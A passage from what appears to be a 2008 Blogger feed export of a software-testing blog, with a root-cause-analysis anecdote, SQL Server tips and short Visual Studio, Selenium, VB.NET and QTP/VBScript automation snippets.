with&lt;br /&gt;high-resolution monitors manned by two people to watch all the soapboxes that passed through the line to make sure they were not empty. No doubt, they worked hard and they worked fast but they spent a whoopee amount to do so.&lt;br /&gt;&lt;br /&gt;But when a rank-and-file employee in a small company was posed with the same problem, he did not get into complications of X-rays, etc., but instead came out with another solution. He bought a strong industrial electric fan and pointed it at the assembly line. He switched the fan on, and as each soapbox passed the fan, it simply blew the empty boxes out of the line.&lt;br /&gt;&lt;br /&gt;The above 2 cases might be good examples for Root Cause Analysis(Find &amp;amp; remediate the root cause instead of addressing the symptoms)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-3690986831042012502?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/3690986831042012502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=3690986831042012502' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3690986831042012502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3690986831042012502'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/10/focusing-on-problems-and-focusing-on.html' title='focusing on problems and focusing on solutions'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8084197520418366889</id><published>2008-09-24T21:00:00.001-07:00</published><updated>2008-09-24T21:00:46.509-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Build / Rebuild / Compile ASP.NET C#'/><title type='text'>Build / Rebuild / Compile ASP.NET C#</title><content type='html'>Build means compile and link only the source files that have changed since the last build, while Rebuild means compile and link all source files regardless of whether they changed or not. Build is the normal thing to do and is faster. Sometimes the versions of project target components can get out of sync and rebuild is necessary to make the build successful. In practice, you never need to Clean.&lt;br /&gt;&lt;br /&gt;Build or Rebuild Solution builds or rebuilds all projects in the your solution, while Build or Rebuild &lt;project&gt;builds or rebuilds the StartUp project, "hello" in the screen shot above. To set the StartUp project, right click on the desired project name in the Solution Explorer tab and select Set as StartUp project. The project name now appears in bold. Since the homework solutions typically have only one project, Build or Rebuild Solution is effectively the same as Build or Rebuild &lt;project&gt;.&lt;br /&gt;&lt;br /&gt;Compile just compiles the source file currently being edited. Useful to quickly check for errors when the rest of your source files are in an incomplete state that would prevent a successful build of the entire project. Ctrl-F7 is the shortcut key for Compile.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8084197520418366889?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8084197520418366889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8084197520418366889' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8084197520418366889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8084197520418366889'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/09/build-rebuild-compile-aspnet-c.html' title='Build / Rebuild / Compile ASP.NET C#'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-2850860133433626322</id><published>2008-09-24T20:59:00.001-07:00</published><updated>2008-09-24T20:59:38.745-07:00</updated><title type='text'>ASCII code &amp; number</title><content type='html'>1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 !34 "35 #36 $37 %38 &amp;amp;39 '40 (41 )42 *43 +44 ,45 -46 .47 /48 049 150 251 352 453 554 655 756 857 958 :59 ;60 &lt;61&gt;63 ?64 @65 A66 B67 C68 D69 E70 F71 G72 H73 I74 J75 K76 L77 M78 N79 O80 P81 Q82 R83 S84 T85 U86 V87 W88 X89 Y90 Z91 [92 \93 ]94 ^95 _96 `97 a98 b99 c100 d101 e102 f103 g104 h105 i106 j107 k108 l109 m110 n111 o112 p113 q114 r115 s116 t117 u118 v119 w120 x121 y122 z123 {124 125 }126 ~127 128 €129 130 ‚131 ƒ132 „133 …134 †135 ‡136 ˆ137 ‰138 Š139 ‹140 Œ141 142 Ž143 144 145 ‘146 ’147 “148 ”149 •150 –151 —152 ˜153 ™154 š155 ›156 œ157 158 ž159 Ÿ160  161 ¡162 ¢163 £164 ¤165 ¥166 ¦167 §168 ¨169 ©170 ª171 «172 ¬173 &amp;shy;174 ®175 ¯176 °177 ±178 ²179 ³180 ´181 µ182 ¶183 ·184 ¸185 ¹186 º187 »188 ¼189 ½190 ¾191 ¿192 À193 Á194 Â195 Ã196 Ä197 Å198 Æ199 Ç200 È201 É202 Ê203 Ë204 Ì205 Í206 Î207 Ï208 Ð209 Ñ210 Ò211 Ó212 Ô213 Õ214 Ö215 ×216 Ø217 Ù218 Ú219 Û220 Ü221 Ý222 Þ223 ß224 à225 á226 â227 ã228 ä229 å230 æ231 ç232 è233 é234 ê235 ë236 ì237 í238 î239 ï240 ð241 ñ242 ò243 ó244 ô245 õ246 ö247 ÷248 ø249 ù250 ú251 û252 ü253 ý254 þ255 ÿ&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-2850860133433626322?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/2850860133433626322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=2850860133433626322' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2850860133433626322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2850860133433626322'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/09/ascii-code-number.html' title='ASCII code &amp; number'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8068247604730907777</id><published>2008-09-24T20:57:00.000-07:00</published><updated>2008-09-24T20:58:41.274-07:00</updated><title type='text'>thumbnail generation code vb.net</title><content type='html'>Public Class Thumbnail&lt;br /&gt;Dim OrgImgObj, Thumb As Drawing.Image&lt;br /&gt;Public Function Create(ByVal ImgFolderPath As String, ByVal ThumbFolderPath As String, ByVal ImgSrcName As String, ByVal ThumbWidth As Int32, ByVal ThumbHeight As Int32) As Boolean&lt;br /&gt;&lt;br /&gt;Try&lt;br /&gt;OrgImgObj = OrgImgObj.FromFile(ImgFolderPath &amp;amp; "\" &amp;amp; ImgSrcName)&lt;br /&gt;Thumb = OrgImgObj.GetThumbnailImage(ThumbWidth, ThumbHeight, Nothing, New IntPtr())&lt;br /&gt;Thumb.Save(ThumbFolderPath &amp;amp; "\" &amp;amp; ImgSrcName, System.Drawing.Imaging.ImageFormat.Jpeg)&lt;br /&gt;Return True&lt;br /&gt;Catch Ex As Exception&lt;br /&gt;Return False&lt;br /&gt;End Try&lt;br /&gt;End Function&lt;br /&gt;End Class&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8068247604730907777?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8068247604730907777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8068247604730907777' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8068247604730907777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8068247604730907777'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/09/thumbnail-generation-code-vbnet.html' title='thumbnail generation code vb.net'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-3794993096778388165</id><published>2008-09-13T00:19:00.000-07:00</published><updated>2008-09-13T00:39:02.555-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='storeTextPresent'/><category scheme='http://www.blogger.com/atom/ns#' term='selenium'/><title type='text'>selenium: asserting text present on screen &amp; store true/false in a variable</title><content type='html'>&lt;p&gt;checks "Reminders" on page if present it stores true else false in storedVars.rem&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;column    1                     2                  3&lt;br /&gt;       storeTextPresent      Reminders            rem&lt;br /&gt;        getEval            alert(storedVars.rem)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-3794993096778388165?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/3794993096778388165/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=3794993096778388165' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3794993096778388165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/3794993096778388165'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/09/selenium-asserting-text-present-on.html' title='selenium: asserting text present on screen &amp; store true/false in a variable'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-2646079641370160037</id><published>2008-08-19T21:34:00.000-07:00</published><updated>2008-08-19T21:36:27.317-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips for increase performance of SQL database'/><title type='text'>Tips for increase performance of SQL database</title><content type='html'>Create a primary key on each table you create and unless you are really knowledgeable enough to figure out a better plan, make it the clustered index (note that if you set the primary key in Enterprise Manager it will cluster it by default).&lt;br /&gt;&lt;br /&gt;Create an index on any column that is a foreign key. If you know it will be unique, set the flag to force the index to be unique.&lt;br /&gt;&lt;br /&gt;Don’t index anything else (yet). &lt;br /&gt;&lt;br /&gt;Unless you need a different behaviour, always owner qualify your objects when you reference them in TSQL. Use dbo.sysdatabases instead of just sysdatabases.&lt;br /&gt;&lt;br /&gt;Use set nocount on at the top of each stored procedure (and set nocount off) at the bottom. &lt;br /&gt;&lt;br /&gt;Think hard about locking. If you’re not writing banking software, would it matter that you take a chance on a dirty read? You can use the NOLOCK hint, but it’s often easier to use SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED at the top of the procedure, then reset to READ COMMITTED at the bottom.&lt;br /&gt;&lt;br /&gt;Use transactions when appropriate, but allow zero user interaction while the transaction is in progress. I try to do all my transactions inside a stored procedure. &lt;br /&gt;&lt;br /&gt;Avoid temp tables as much as you can, but if you need a temp table, create it explicitly using Create Table #temp.&lt;br /&gt;&lt;br /&gt;Avoid NOT IN, instead use a left outer join - even though it’s often easier to visualize the NOT IN.&lt;br /&gt;&lt;br /&gt;If you insist on using dynamic sql (executing a concatenated string), use named parameters and sp_executesql (rather than EXEC) so you have a chance of reusing the query plan. While it’s simplistic to say that stored procedures are always the right answer, it’s also close enough that you won’t go wrong using them.&lt;br /&gt;&lt;br /&gt;Get in the habit of profiling your code before and after each change. While you should keep in mind the depth of the change, if you see more than a 10-15% increase in CPU, Reads, or Writes it probably needs to be reviewed.&lt;br /&gt;&lt;br /&gt;Look for every possible way to reduce the number of round trips to the server. Returning multiple resultsets is one way to do this. &lt;br /&gt;&lt;br /&gt;Avoid index and join hints. &lt;br /&gt;&lt;br /&gt;When you’re done coding, set Profiler to monitor statements from your machine only, then run through the application from start to finish once. Take a look at the number of reads and writes, and the number of calls to the server. See anything that looks unusual? It’s not uncommon to see calls to procedures that are no longer used, or to see duplicate calls. Impress your DBA by asking him to review those results with you.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-2646079641370160037?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/2646079641370160037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=2646079641370160037' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2646079641370160037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2646079641370160037'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/tips-for-increase-performance-of-sql.html' title='Tips for increase performance of SQL database'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8241492418861496042</id><published>2008-08-07T21:29:00.000-07:00</published><updated>2008-08-07T22:08:11.355-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='QTP dictionary object'/><title type='text'>QTP: using dictionary object</title><content type='html'>Set d = CreateObject(”Scripting.Dictionary”)   &lt;br /&gt; d.Add “a”, “Anil”   ‘ Add some keys and items.  &lt;br /&gt; d.Add “b”, “Dhruvan Aaryan”    &lt;br /&gt; a = d.Items   ‘ Get the items.  &lt;br /&gt;  For i = 0 To d.Count -1 ‘ Iterate the array.&lt;br /&gt;       s = s &amp; a(i) &amp; “&lt;BR&gt;” ‘ Create return string.  &lt;br /&gt;      Next&lt;br /&gt;Msgbox s  &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;     Exists Method&lt;/strong&gt;&lt;br /&gt; Returns true if a specified key exists in the Dictionary object, false if it does not.&lt;br /&gt;&lt;br /&gt;  If d.Exists(”c”) Then   &lt;br /&gt;    Msgbox  “Specified key exists.”   &lt;br /&gt; Else      &lt;br /&gt; Msgbox  “Specified key doesn’t exist.” &lt;br /&gt;   End If&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8241492418861496042?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8241492418861496042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8241492418861496042' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8241492418861496042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8241492418861496042'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/qtp-using-dictionary-object.html' title='QTP: using dictionary object'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-7295061144532652162</id><published>2008-08-07T21:07:00.001-07:00</published><updated>2008-08-07T21:07:52.700-07:00</updated><title type='text'>Types of Builds</title><content type='html'>Based on the software release lifecycle page, and my personal experience, here's how I'd characterize each phase of software development: &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;Pre-Alpha&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The software is still under active development and not feature complete or ready for consumption by anyone other than software developers. There may be milestones during the pre-alpha which deliver specific sets of functionality, and nightly builds for other developers or users who are comfortable living on the absolute bleeding edge. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;Alpha&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The software is complete enough for internal testing. This is typically done by people other than the software engineers who wrote it, but still within the same organization or community that developed the software. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;Beta&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The software is complete enough for external testing -- that is, by groups outside the organization or community that developed the software. Beta software is usually feature complete, but may have known limitations or bugs. Betas are either closed (private) and limited to a specific set of users, or they can be open to the general public. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;Release Candidate &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The software is almost ready for final release. No feature development or enhancement of the software is undertaken; tightly scoped bug fixes are the only code you're allowed to write in this phase, and even then only for the most heinous and debilitating of bugs. One of the most experienced software developers I ever worked with characterized the release candidate development phase thusly: "does this bug kill small children?" &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Gold Candidate&lt;/strong&gt;&lt;br /&gt;The software is finished -- and by finished, we mean there are no show-stopping, little-children-killing bugs in it. That we know of. There are probably numerous lower-prority bugs triaged into the next point release or service pack, as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-7295061144532652162?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/7295061144532652162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=7295061144532652162' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7295061144532652162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7295061144532652162'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/types-of-builds.html' title='Types of Builds'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-7486095889322831150</id><published>2008-08-02T19:15:00.000-07:00</published><updated>2008-08-02T19:16:06.346-07:00</updated><title type='text'>QTP:disabling report filter</title><content type='html'>Reporter.ReportEvent micFail,"anil's steps","am failing this"&lt;br /&gt;Reporter.Filter = rfDisableAll&lt;br /&gt;disables report filter for subsequent comands&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-7486095889322831150?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/7486095889322831150/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=7486095889322831150' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7486095889322831150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7486095889322831150'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/qtpdisabling-report-filter.html' title='QTP:disabling report filter'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-2845693423544261161</id><published>2008-08-02T19:14:00.001-07:00</published><updated>2008-08-02T19:14:50.949-07:00</updated><title type='text'>QTP:opening explorer</title><content type='html'>SystemUtil.Run "C:\Program Files\Internet Explorer\IEXPLORE.EXE"&lt;br /&gt;SystemUtil.Run "IEXPLORE.EXE"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-2845693423544261161?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/2845693423544261161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=2845693423544261161' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2845693423544261161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/2845693423544261161'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/qtpopening-explorer.html' title='QTP:opening explorer'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-1492387072982396174</id><published>2008-08-02T19:01:00.002-07:00</published><updated>2008-08-02T19:05:27.428-07:00</updated><title type='text'>QTP:database connection</title><content type='html'>DATABASE connection&lt;br /&gt;Const adOpenStatic = 3&lt;br /&gt;Const adLockOptimistic = 3&lt;br /&gt;Const adUseClient = 3&lt;br /&gt;Set objConnection = CreateObject("ADODB.Connection")&lt;br /&gt;Set objRecordset = CreateObject("ADODB.Recordset")&lt;br /&gt;objConnection.Open "DRIVER={Microsoft ODBC for Oracle};UID=;PWD="&lt;br /&gt;objRecordset.CursorLocation = adUseClient&lt;br /&gt;objRecordset.CursorType = adopenstatic&lt;br /&gt;objRecordset.LockType = adlockoptimistic&lt;br /&gt;ObjRecordset.Source="select field1,field2 from testTable"&lt;br /&gt;ObjRecordset.ActiveConnection=ObjConnection&lt;br /&gt;ObjRecordset.Open 'This will execute query&lt;br /&gt;If ObjRecordset.recordcount&gt;0 then&lt;br /&gt;Field1 = ObjRecordset("Field1").Value&lt;br /&gt;Field2 = ObjRecordset("Field2").Value&lt;br /&gt;End if&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-1492387072982396174?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/1492387072982396174/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=1492387072982396174' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1492387072982396174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/1492387072982396174'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/qtpdatabase-connection.html' title='QTP:database connection'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-8735750154878289196</id><published>2008-08-02T19:01:00.001-07:00</published><updated>2008-08-02T19:01:55.366-07:00</updated><title type='text'>QTP:Saving web page content at run time</title><content type='html'>Saving webpage&lt;br /&gt;'Simulate a web query&lt;br /&gt;Set WinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")&lt;br /&gt;If WinHttp Is Nothing Then Set WinHttp = CreateObject("WinHttp.WinHttpRequest")&lt;br /&gt;WinHttp.Open "GET", "http://www.google.com", False&lt;br /&gt;WinHttp.Send&lt;br /&gt;arrArray = WinHttp.ResponseBody&lt;br /&gt;Set WinHttp = Nothing&lt;br /&gt;On Error Resume Next&lt;br /&gt;Set oADO = CreateObject("ADODB.Stream")&lt;br /&gt;If oADO Is Nothing Then&lt;br /&gt;Set oFSO = CreateObject("Scripting.FileSystemObject")&lt;br /&gt;Set oTextFile = oFSO.OpenTextFile("c:\google.htm", 2, True)&lt;br /&gt;sData = ""&lt;br /&gt;sBuffer = ""&lt;br /&gt;For iCount = 0 to UBound(arrArray)&lt;br /&gt;oTextFile.Write Chr(255 And Ascb(Midb(arrArray,iCount + 1, 1)))&lt;br /&gt;Next&lt;br /&gt;oTextFile.Close&lt;br /&gt;Else&lt;br /&gt;oADO.Type = 1&lt;br /&gt;oADO.Open&lt;br /&gt;oADO.Write arrArray&lt;br /&gt;oADO.SaveToFile "c:\google.htm", 2&lt;br /&gt;oADO.Close&lt;br /&gt;End If&lt;br /&gt;Set oADO = Nothing&lt;br /&gt;Set oTextFile = Nothing&lt;br /&gt;Set oFSO = Nothing&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-8735750154878289196?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/8735750154878289196/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=8735750154878289196' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8735750154878289196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/8735750154878289196'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/qtpsaving-web-page-content-at-run-time.html' title='QTP:Saving web page content at run time'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-7364375104446655603</id><published>2008-08-02T18:59:00.000-07:00</published><updated>2008-08-07T21:17:32.277-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='difference between'/><title type='text'>QTP: SetTOProperty GetToProperty</title><content type='html'>&lt;strong&gt;SetTOProperty&lt;/strong&gt;&lt;br /&gt;Set obj = Browser("name:=Sign in to Yahoo!").Page("title:=Sign in to Yahoo!").WebEdit("html id:=username")&lt;br /&gt;msgbox obj.GetTOProperty("html id")&lt;br /&gt;'Would retrieve the object html id from the test object description, whether it's in the OR or DP defined&lt;br /&gt;'Now we set the name propertyobj.SetTOProperty "name", "login" 'And retrieve it&lt;br /&gt;msgbox obj.GetTOProperty("name")&lt;br /&gt;&lt;br /&gt;&lt;a name="maincontent"&gt;&lt;/a&gt;&lt;strong&gt;GetTOProperty&lt;/strong&gt;&lt;br /&gt;Msgbox Browser("Sign in to Yahoo!").Page("Sign in to Yahoo!").WebEdit("login").GetTOProperty("name")'Would retrieve the object name from the test object description, whether it's in the OR or DP defined.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-7364375104446655603?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/7364375104446655603/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6523426199047481474&amp;postID=7364375104446655603' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7364375104446655603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6523426199047481474/posts/default/7364375104446655603'/><link rel='alternate' type='text/html' href='http://anilit.blogspot.com/2008/08/qtp-settoproperty-gettoproperty.html' title='QTP: SetTOProperty GetToProperty'/><author><name>Hello</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6523426199047481474.post-4056828652611381867</id><published>2008-08-02T18:58:00.000-07:00</published><updated>2008-08-02T18:59:26.500-07:00</updated><title type='text'>QTP testing: load excel file</title><content type='html'>Open excel &amp;amp; read data&lt;br /&gt;set ex= CreateObject("Excel.Application")&lt;br /&gt;Set a=ex.Workbooks.open("D:\excel.xls")&lt;br /&gt;Set b=a.worksheets("Sheet1")&lt;br /&gt;dim login, pwd&lt;br /&gt;for i=1 to 3&lt;br /&gt;login=b.Cells(i,"A").value&lt;br /&gt;pwd=b.Cells(i,"B").value&lt;br /&gt;msgbox login&lt;br /&gt;msgbox pwd&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6523426199047481474-4056828652611381867?l=anilit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://anilit.blogspot.com/feeds/4056828652611381867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 